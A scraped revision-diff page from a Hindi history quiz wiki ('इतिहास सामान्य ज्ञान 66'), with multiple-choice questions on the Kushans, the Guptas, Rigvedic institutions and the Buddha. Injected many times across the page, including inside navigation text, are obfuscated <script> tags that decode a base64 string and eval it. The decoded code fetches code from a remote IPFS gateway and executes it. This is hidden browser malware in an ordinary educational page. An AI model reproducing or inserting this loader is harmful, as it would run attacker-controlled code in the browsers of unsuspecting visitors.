Difference between revisions of "इतिहास सामान्य ज्ञान 66"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replacement - " महान " to " महान् ")
 
(One intermediate revision by one other user not shown)
Line 8: Line 8:
 
|
 
|
 
<quiz display=simple>
 
<quiz display=simple>
{निम्न में से किसने शुद्ध [[सोना|सोने]] के सिक्के जारी किए थे?
 
|type="()"}
 
-[[गुप्त|गुप्तों]] ने
 
-हिन्द-यवनों ने
 
+[[कुषाण|कुषाणों]] ने
 
-[[शुंग|शुंगों]] ने
 
||[[कुषाण]] भी [[शक|शकों]] की ही तरह मध्य [[एशिया]] से खदेड़ दिये जाने पर [[क़ाबुल]]-[[कंधार]] की ओर यहाँ आ गये थे। कुषाण सम्राट [[कनिष्क]] के [[तांबा|तांबे]] के सिक्कों पर उसे 'बलिवेदी' पर बलिदान करते हुए दर्शाया गया है। कनिष्क के [[सोना|सोने]] के सिक्के [[रोम]] के सिक्कों से काफ़ी कुछ मिलते थे। [[बुद्ध]] के [[अवशेष|अवशेषों]] पर कनिष्क ने [[पेशावर]] के निकट एक [[स्तूप]] एवं मठ निर्माण करवाया। कनिष्क [[कला]] और विद्वता का आश्रयदाता था। इसके दरबार का सबसे महान साहित्यिक व्यक्ति [[अश्वघोष]] था।{{point}}अधिक जानकारी के लिए देखें:-[[कुषाण साम्राज्य]]
 
 
{[[मौर्य काल]] में निर्मित 'सुदर्शन झील' का निर्माण किसने करवाया था?
 
|type="()"}
 
+पुष्पगुप्त
 
-[[उपगुप्त]]
 
-तुषाष्क
 
-[[चन्द्रगुप्त मौर्य]]
 
 
{[[गुप्त वंश]] का संस्थापक कौन था?
 
|type="()"}
 
-[[घटोत्कच (गुप्त काल)|घटोत्कच गुप्त]]
 
-[[चन्द्रगुप्त प्रथम]]
 
+[[श्रीगुप्त]]
 
-[[रामगुप्त]]
 
||[[कुषाण साम्राज्य]] के पतन के समय [[उत्तरी भारत]] में जो अव्यवस्था उत्पन्न हो गई थी, उससे लाभ उठाकर बहुत से प्रान्तीय सामन्त राजा स्वतंत्र हो गए थे। सम्भवतः इसी प्रकार का एक व्यक्ति [[श्रीगुप्त]] भी था। [[गुप्त राजवंश]] की स्थापना महाराज गुप्त ने लगभग 275 ई. में की थी। उसका वास्तविक नाम 'श्रीगुप्त' था। उसने [[मगध]] के कुछ पूर्व में चीनी यात्री [[इत्सिंग]] के अनुसार [[नालन्दा]] से प्रायः चालीस [[योजन]] पूर्व की तरफ़ अपने राज्य का विस्तार किया। अपनी शक्ति को स्थापित कर लेने के कारण उसने 'महाराज' की पदवी ग्रहण की।{{point}}अधिक जानकारी के लिए देखें:-[[श्रीगुप्त]]
 
 
{'दीवानी' एवं 'फ़ौजदारी' से सम्बन्धित [[ग्रन्थ]] की रचना सर्वप्रथम कब हुई थी?
 
|type="()"}
 
-[[मौर्य काल]] में
 
-[[कुषाण काल]] में
 
+[[गुप्त काल]] में
 
-[[गुप्तोत्तर काल]] में
 
||[[गुप्त साम्राज्य]] का उदय तीसरी [[सदी]] के अन्त में [[प्रयाग]] के निकट [[कौशाम्बी]] में हुआ। [[गुप्त]] [[कुषाण|कुषाणों]] के सामन्त थे। इस वंश का आरंभिक राज्य [[उत्तर प्रदेश]] और [[बिहार]] में था। लगता है कि गुप्त शासकों के लिए बिहार की अपेक्षा उत्तर प्रदेश अधिक महत्त्व वाला प्रान्त था, क्योंकि आरम्भिक [[अभिलेख]] मुख्यतः इसी राज्य में पाए गए हैं। यहीं से गुप्त शासक कार्य संचालन करते रहे और अनेक दिशाओं में बढ़ते गए।{{point}}अधिक जानकारी के लिए देखें:-[[गुप्त साम्राज्य]]
 
 
{[[श्रीलंका]] के राजा 'मेघवर्मन' ने किस स्थान पर भगवान [[बुद्ध]] का मन्दिर बनवाने के लिए [[समुद्रगुप्त]] से अनुमति माँगी?
 
|type="()"}
 
-[[प्रयाग]]
 
+[[बोधगया]]
 
-[[कुशीनगर]]
 
-[[अमरावती]]
 
||'बोधगया' में [[बराबर पहाड़ी|बराबर की पहाडि़यों]] में सात गुफ़ाएँ हैं, जिनमें तीन को [[अशोक]] ने [[आजीविक|आजीविकों]] को दान कर दिया था। [[श्रीलंका]] के शासक मेघवर्मन ने [[समुद्रगुप्त]] की अनुमति से [[बोधगया]] में एक बौद्ध-विहार बनवाया था। [[बराबर पहाड़ी]] से प्राप्त एक [[अभिलेख]] में [[मौखरि वंश|मौखरि]] शासक अनन्तवर्मन का वर्णन है। बोधगया के ताराडीह से [[पाल वंश|पाल]] कालीन [[अवशेष]] प्राप्त हुए हैं। [[गया]] के समीप ही [[सोनपुर]] से [[कुषाण|कुषाणों]] के अवशेष मिले हैं। गया की यात्रा चीनी यात्रियों [[फ़ाह्यान]] तथा [[ह्वेनसांग]] ने भी की थी।{{point}}अधिक जानकारी के लिए देखें:-[[बोधगया]]
 
  
 
{ऋग्वैदिक युगीन नदी '[[परुष्णी नदी|परुष्णी]]' का महत्त्व क्यों है?
 
{ऋग्वैदिक युगीन नदी '[[परुष्णी नदी|परुष्णी]]' का महत्त्व क्यों है?
Line 82: Line 44:
 
-[[महावीर|महावीर स्वामी]]
 
-[[महावीर|महावीर स्वामी]]
 
-[[कृष्ण|वासुदेव कृष्ण]]
 
-[[कृष्ण|वासुदेव कृष्ण]]
||[[चित्र:Buddha1.jpg|right|100px|बुद्ध प्रतिमा, राजकीय संग्रहालय, मथुरा]]'गौतम बुद्ध' का मूल नाम 'सिद्धार्थ' था। [[सिंहली]] अनुश्रुति, [[खारवेल]] के [[अभिलेख]], [[अशोक]] के सिंहासनारोहण की तिथि, कैण्टन के अभिलेख आदि के आधार पर [[बुद्ध]] की जन्म तिथि 563 ईसा पूर्व स्वीकार की गयी है। इनका जन्म शाक्य वंश के राजा [[शुद्धोदन]] की रानी महामाया के गर्भ से [[माघ मास]] की [[पूर्णिमा]] के दिन हुआ था। शाक्य गणराज्य की राजधानी [[कपिलवस्तु]] के निकट [[लुम्बिनी]] में इनका जन्म हुआ। बुद्ध को 'शाक्य मुनि' भी कहा जाता है। इनकी [[माता]] मायादेवी इनके जन्म के कुछ देर बाद ही मर गई थीं। कहा जाता है कि तभी एक [[ऋषि]] ने कहा कि वे या तो एक महान राजा बनेंगे, या फिर एक महान [[साधु]]।{{point}}अधिक जानकारी के लिए देखें:-[[गौतम बुद्ध]]
+
||[[चित्र:Buddha1.jpg|right|100px|बुद्ध प्रतिमा, राजकीय संग्रहालय, मथुरा]]'गौतम बुद्ध' का मूल नाम 'सिद्धार्थ' था। [[सिंहली]] अनुश्रुति, [[खारवेल]] के [[अभिलेख]], [[अशोक]] के सिंहासनारोहण की तिथि, कैण्टन के अभिलेख आदि के आधार पर [[बुद्ध]] की जन्म तिथि 563 ईसा पूर्व स्वीकार की गयी है। इनका जन्म शाक्य वंश के राजा [[शुद्धोदन]] की रानी महामाया के गर्भ से [[माघ मास]] की [[पूर्णिमा]] के दिन हुआ था। शाक्य गणराज्य की राजधानी [[कपिलवस्तु]] के निकट [[लुम्बिनी]] में इनका जन्म हुआ। बुद्ध को 'शाक्य मुनि' भी कहा जाता है। इनकी [[माता]] मायादेवी इनके जन्म के कुछ देर बाद ही मर गई थीं। कहा जाता है कि तभी एक [[ऋषि]] ने कहा कि वे या तो एक महान् राजा बनेंगे, या फिर एक महान् [[साधु]]।{{point}}अधिक जानकारी के लिए देखें:-[[गौतम बुद्ध]]
 
</quiz>
 
</quiz>
 
|}
 
|}

Latest revision as of 14:02, 30 June 2017

samany jnan prashnottari
rajyoan ke samany jnan

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. REDIRECTsaancha:nila<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>is vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213| 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237| 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | 370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | 400 | 401 | 402 | 403 | 404 | 405 | 406 | 407 | 408 | 409 | 410 | 411 | 412 | 413 | 414 | 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | 428 | 429 | 430 | 431 | 432 | 433 | 434 | 435 | 436 | 437 | 438 | 439 | 440 | 441 | 442 | 443 | 444 | 445 | 446 | 447 | 448 | 449 | 450 | 451 | 452 | 453 | 454 | 455 | 456 | 457 | 458 | 459 | 460 | 461 | 462 | 463 | 464 | 465 | 466 | 467 | 468 | 469 | 470 | 471 | 472 | 473 | 474 | 475 | 476 | 477 | 478 | 479 | 480 | 481 | 482 | 483 | 484 | 485 | 486 | 487 | 488 | 489 | 490 | 491 | 492 | 493 | 494 | 495 | 496 | 497 | 498 | 499 | 500 | 501 | 502 | 503 | 504 | 505 | 506 | 507 | 508 | 509 | 510 | 511 | 512 | 513 | 514 | 515 | 516 | 517 | 518 | 519 | 520 | 521 | 522 | 523 | 524 | 525 | 526 | 527 | 528 | 529 | 530 | 531 | 532 | 533 | 534 | 535 | 536 | 537 | 538 | 539 | 540 | 541 | 542 | 543 | 544 | 545 | 546 | 547 | 548 | 549 | 550 | 551 | 552 | 553 | 554 | 555 | 556 | 557 | 558 | 559 | 560 | 561 | 562 | 563 | 564 | 565 | 566

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1 rrigvaidik yugin nadi 'parushni' ka mahattv kyoan hai?

sarvadhik pavitr nadi hone ke karan
rrigved mean sabase adhik bar ullekh hone ke karan
dasharajn yuddh ke karan
uparyukt sabhi

2 rrigved mean nimn mean se kisaka ullekh nahian milata hai?

krishi
yav
brihi
kapas

3 rrigved mean 'jan' aur 'vish' ka ullekh kramash: kitani bar hua hai?

250,175
275,175
200,150
275,170

4 rrigvaidik yug ki sarvadhik prachin sanstha kaun-si thi?

sabha
samiti
vidth
parishad

5 bharat mean poojit pahali manav pratima kaun-si thi?

bhagavan buddh
indr bhagavan
mahavir svami
vasudev krishna

panne par jaean
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213| 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237| 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | 370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | 400 | 401 | 402 | 403 | 404 | 405 | 406 | 407 | 408 | 409 | 410 | 411 | 412 | 413 | 414 | 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | 428 | 429 | 430 | 431 | 432 | 433 | 434 | 435 | 436 | 437 | 438 | 439 | 440 | 441 | 442 | 443 | 444 | 445 | 446 | 447 | 448 | 449 | 450 | 451 | 452 | 453 | 454 | 455 | 456 | 457 | 458 | 459 | 460 | 461 | 462 | 463 | 464 | 465 | 466 | 467 | 468 | 469 | 470 | 471 | 472 | 473 | 474 | 475 | 476 | 477 | 478 | 479 | 480 | 481 | 482 | 483 | 484 | 485 | 486 | 487 | 488 | 489 | 490 | 491 | 492 | 493 | 494 | 495 | 496 | 497 | 498 | 499 | 500 | 501 | 502 | 503 | 504 | 505 | 506 | 507 | 508 | 509 | 510 | 511 | 512 | 513 | 514 | 515 | 516 | 517 | 518 | 519 | 520 | 521 | 522 | 523 | 524 | 525 | 526 | 527 | 528 | 529 | 530 | 531 | 532 | 533 | 534 | 535 | 536 | 537 | 538 | 539 | 540 | 541 | 542 | 543 | 544 | 545 | 546 | 547 | 548 | 549 | 550 | 551 | 552 | 553 | 554 | 555 | 556 | 557 | 558 | 559 | 560 | 561 | 562 | 563 | 564 | 565 | 566

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

samany jnan prashnottari
rajyoan ke samany jnan

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>